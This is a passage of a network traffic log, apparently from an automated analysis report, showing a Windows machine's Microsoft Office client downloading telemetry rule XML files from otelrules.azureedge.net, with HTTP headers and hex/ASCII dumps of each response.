2024-11-25 23:08:47 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:48 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:48 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c57d99b7-c01e-0079-4efd-3de51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230848Z-178bfbc474bnwsh4hC1NYC2ubs000000083000000000rddd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:48 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:49 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:49 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:49 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: e3a34b23-101e-0034-2f4c-3c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230849Z-15b8b599d886w4hzhC1TEBb4ug00000006h000000000sc8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:49 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:49 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:49 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:49 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 438064ab-f01e-00aa-59c1-3e8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230849Z-178bfbc474bpscmfhC1NYCfc2c00000006u0000000001ku0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:49 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:49 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:50 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:50 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 79a67e7b-b01e-0098-1dd0-3ecead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230850Z-15b8b599d88qw29phC1TEB5zag00000006gg00000000krrq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:50 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:49 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:50 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:50 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: c432643f-101e-008e-1702-3fcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230850Z-15b8b599d8885prmhC1TEBsnkw00000006q000000000efh3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:50 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:50 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:50 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:50 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: d8182971-801e-0067-2581-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230850Z-174c587ffdfx984chC1TEB676g00000006m000000000c3t0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:50 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:51 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:52 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:51 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: f3d2270d-a01e-0084-1369-3f9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230851Z-178bfbc474bq2pr7hC1NYCkfgg000000088g00000000bwnw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:51 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:52 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:51 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 6e1934d2-a01e-006f-595c-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230851Z-178bfbc474b9fdhphC1NYCac0n000000080000000000gh5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:52 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:52 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:52 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:52 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 38a59648-401e-00ac-39a0-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230852Z-174c587ffdfb485jhC1TEBmc1s00000006b000000000r86c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:52 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:52 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:52 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:52 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 1c4db4ce-101e-005a-3b67-3f882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230852Z-178bfbc474brk967hC1NYCfu6000000007yg000000009fb9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:52 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:52 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:52 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:52 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 74bdb417-d01e-00ad-341a-3de942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230852Z-178bfbc474bpscmfhC1NYCfc2c00000006sg000000006r7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:52 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:53 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:54 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:54 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c476523a-d01e-008e-6755-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230854Z-15b8b599d886w4hzhC1TEBb4ug00000006pg000000008y7a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:54 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 